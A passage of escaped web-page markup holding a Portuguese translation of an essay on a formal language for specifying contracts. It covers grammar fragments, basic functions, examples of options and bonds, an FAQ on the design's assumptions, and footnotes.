&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## se houver um &amp;#34;also [também]&amp;#34; ou dois eventos ocorrerem&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## ao mesmo tempo, mas geralmente precisamos apenas pensar&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## sobre um.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## uma cláusula está ativa ou inativa.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## quando uma cláusula when está ativa, ela está aguardando&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## um evento ocorrer.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## quando o ponteiro da instrução está aninhado um when,&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## when passa de inativo para espera.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## Uma série de when&amp;#39;s no mesmo nível&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## todos esperam que qualquer um deles seja acionado.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## Quando recebe um evento lançado abaixo&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## dele, ou ele se torna ativo. Então&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## as cláusulas abaixo dele se tornam ativas até&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## os when&amp;#39;s no nível abaixo. Os&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## when&amp;#39;s naquele nível vão de inativo&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## para espera&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## design alternativo sendo considerado: continue de onde parou&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## a menos que [tenha] um &amp;#34;terminate&amp;#34; explícito no when&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>right &lt;span style="color:#f92672">=&lt;/span> functionPerformance
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## especificação funcional de um&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## serviço específico vai aqui&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## function sig, pre-, post-conditions&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>obligation &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">throw&lt;/span> event at &lt;span style="color:#f92672">[&lt;/span>contract &lt;span style="color:#f92672">|&lt;/span> right&lt;span style="color:#f92672">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># gera um evento a ser capturado pelo contrato ou direito especificado.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># se contrato ou direito não for especificado, o primeiro when parente&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># é acionado.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># semanticamente equivalente: Holder obligation = Counterparty right&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>obligation &lt;span style="color:#f92672">=&lt;/span> surrenderTitle(property)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># transferir o título da propriedade do devedor para o credor&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># consulte http://nakamotoinstitute.org/secure-property-titles/&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>obligation &lt;span style="color:#f92672">=&lt;/span> null
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>obligation &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">[&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> event &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span> obligation &lt;span style="color:#e6db74">&amp;#34;}&amp;#34;&lt;/span> &lt;span style="color:#f92672">]*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## design alternativo sendo considerado: continue de onde parou&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">##, a menos que [tenha] um &amp;#34;terminate&amp;#34; explícito no when&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>obligation &lt;span style="color:#f92672">=&lt;/span> functionPerformance
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## especificação funcional de um&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## serviço específico vai aqui&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## function sig, pre-, post-conditions&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>contract &lt;span style="color:#f92672">=&lt;/span> agent &lt;span style="color:#f92672">[&lt;/span>right &lt;span style="color:#f92672">|&lt;/span> obligation&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#34;with&amp;#34;&lt;/span> agent &lt;span style="color:#f92672">[&lt;/span>right &lt;span style="color:#f92672">|&lt;/span> obligation&lt;span style="color:#f92672">]]*&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## &amp;#34;with&amp;#34; permite compor Titular e Contraparte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## direitos vs. um ao outro&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>contract &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#f92672">[&lt;/span> &lt;span style="color:#66d9ef">when&lt;/span> event &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span> contract &lt;span style="color:#e6db74">&amp;#34;}&amp;#34;&lt;/span> &lt;span style="color:#f92672">]*&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="funções-básicas">Funções Básicas&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>doOn(right, period) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(p) { right }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># deve executar &amp;#34;right [direito]&amp;#34; dentro de (period [período])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># = obrigação com cupom zero = cupom&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>doOnDemand(right) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>) { right }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># deve executar o &amp;#34;right [direito]&amp;#34; a qualquer momento / sob demanda&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>doOn(contract, period) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(p) { contract }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># deve executar &amp;#34;contract [contrato]&amp;#34; dentro de (period [período])&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>doOnDemand(contract) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>) { contract }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># deve executar &amp;#34;contract [contrato]&amp;#34; a qualquer momento / sob demanda&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="mais-exemplos">Mais Exemplos&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>future(rightA, rightB, p) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Holder&lt;/span> doOn(rightA, p) with &lt;span style="color:#66d9ef">Counterparty&lt;/span> doOn(rightB, p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># [restrição adicional p = p não é mera composição algébrica]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>callOptionAmerican(rightA, rightB, t) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(whenWritten, t)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Holder&lt;/span> rightA with &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>callOptionEuro(rightA, rightB, p) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Holder&lt;/span> doOn(rightA, p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with &lt;span style="color:#66d9ef">Counterparty&lt;/span> doOn(rightB, p))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>putOptionAmerican(rightA,rightB,t) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(whenWritten, t)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Holder&lt;/span> rightA with &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># semântica de eventos precisa armazenar choiceOf até&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># ao esperar o próximo when&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>putOptionEuro(rightA,rightB,p) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Holder&lt;/span> doOn(rightB, p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with &lt;span style="color:#66d9ef">Counterparty&lt;/span> doOn(rightA, p))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>note(right) &lt;span style="color:#f92672">=&lt;/span> demandDeposit(right) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Holder&lt;/span> doOnDemand(right)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># [distinção entre portador e titular da conta não&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># foi introduzido]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zeroCouponBond(right,p) &lt;span style="color:#f92672">=&lt;/span> doOn(right, p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>callableZeroCouponBond(right,p) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>) { right }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(p) { right }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bond(coupon, principal, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> schedule {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>doOn(coupon, schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>} &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>doOn(principal, schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bond(coupon, principal, schedule) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> schedule {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>doOn(coupon, schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>} &lt;span style="color:#66d9ef">then&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>doOn(principal, schedule&lt;span style="color:#f92672">.&lt;/span>next)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="perguntas-frequentes">Perguntas Frequentes&lt;/h2>
&lt;p>&lt;strong>P: Já existem linguagem para especificar contratos
financeiros&lt;/strong>&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;strong>, qual é a novidade aqui?&lt;/strong>&lt;/p>
&lt;p>R: Essa é a primeira linguagem de especificação a generalizar estruturas
contratuais para qualquer tipo de direitos exclusivos, não apenas para
dinheiro. Esse também é a primeira linguagem que incorpora a natureza
dinâmica de muitos contratos (sua dependência de tempo ou eventos) de
maneira sucinta, completa e potencialmente executável.
Surpreendentemente, isso geralmente torna a especificação mais, não
menos, sucinta.&lt;/p>
&lt;p>&lt;strong>P: Onde está o dinheiro?&lt;/strong>&lt;/p>
&lt;p>R: Essa linguagem é direcionada para uma economia de software e
dispositivos distribuídos que executam serviços um para o outro. Uma
economia monetária pode ser construída a partir de uma economia de
troca, mas não vice-versa. O dinheiro online real é muito mais sutil do
que uma mera variável compartilhada (ou mesmo a especificação de &amp;ldquo;notas
de banco&amp;rdquo; nessa linguagem). O dinheiro é apenas um tipo de direito
exclusivo fungível, e a estrutura dos contratos financeiros é
generalizada pela conversão de termos monetários em qualquer direito
exclusivo fungível.&lt;/p>
&lt;p>&lt;strong>P: Que suposições você está fazendo?&lt;/strong>&lt;/p>
&lt;p>R: Essa é a pergunta mais importante a ser feita em qualquer novo
esquema! Eu identifiquei pelo menos as seguintes:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Por enquanto, estou presumindo que questões de proteção e execução
de desempenho foram abordadas em outros lugares
(&lt;a href="http://szabo.vwh.best.com/" target="_blank" rel="noopener noreferrer">http://szabo.vwh.best.com/&lt;/a>
tem muitos ensaios que enfocam esse
tópico). Um objetivo final é criar protocolos para reforçar os
átomos da linguagem e depois compor esses átomos mantendo a
aplicabilidade.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Duas premissas específicas de execução &amp;ndash; existe uma fonte de tempo
acordada e segura, e a ocorrência de outros eventos definidos pode
ser acordada pelas partes e/ou auditada por terceiros.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Estou assumindo algum tipo de atomicidade para cada desempenho do
átomo correto &amp;ndash; por exemplo, quando um evento aciona um &amp;ldquo;when&amp;rdquo;, um
functionPerformance em outro thread é suavemente revertido ou
concluído.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Existem apenas duas partes no contrato, o Titular e a Contraparte.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Um contrato vem em duas formas de espelho, uma das quais pode ser
deduzida da outra. Uma parte sempre se vê como o Titular. As
obrigações do Titular sempre podem ser expressas e inferidas a
partir dos direitos da Contraparte e vice-versa.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Provavelmente estou fazendo outras suposições que ainda não descobri
&amp;ndash; se você encontrar alguma, por favor me avise!&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>&lt;strong>P: Quais são alguns dos problemas dessa linguagem que você gostaria
que fossem resolvidos?&lt;/strong>&lt;/p>
&lt;p>R: Implementações que satisfazem as premissas acima para os átomos de
linguagem específicos e também para composições dos átomos. (Obviamente,
vários protocolos no campo &amp;ldquo;criptografia financeira&amp;rdquo;, em minhas próprias
propostas, na linguagem E, etc. fornecem muitos blocos de construção
valiosos para essas soluções).&lt;/p>
&lt;hr>
&lt;p>Fonte:&lt;br>
&lt;a href="https://nakamotoinstitute.org/contract-language/" target="_blank" rel="noopener noreferrer">nakamotoinstitute&lt;/a>
&lt;a href="https://bitnoticias.com.br/o-evangelho-de-satoshi-nakamoto-cap-33-vers-1/" target="_blank" rel="noopener noreferrer">bitnoticias&lt;/a>
&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Existem muitos casos de negócios que azedaram no último minuto,
quando os vendedores consultam o departamento jurídico e descobrem
que o negócio não é possível devido a uma cláusula em outro contrato
&amp;ndash; por exemplo, uma promessa de não vender aos concorrentes de um
cliente em um setor por um certo período. Pior, esse conflito não
pode ser descoberto até que o compromisso contraditório tenha sido
feito.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>A Linguagem de Programação E&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>Proceedings of the Financial Cryptography Conferences,
Springer-Verlag&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>Composing contracts: an adventure in financial engineering &amp;ndash; Um
tipo diferente de linguagem para especificar contratos financeiros,
a fim de calcular seu risco e valor&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>Lopez and Raymond, Medieval Trade in the Mediterranean World:
Illustrative Documents, Columbia University Press 2001.&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>Lopez and Raymond, Medieval Trade in the Mediterranean World:
Illustrative Documents, Columbia University Press 2001.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>Proceedings of the Financial Cryptography Conferences,
Springer-Verlag&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
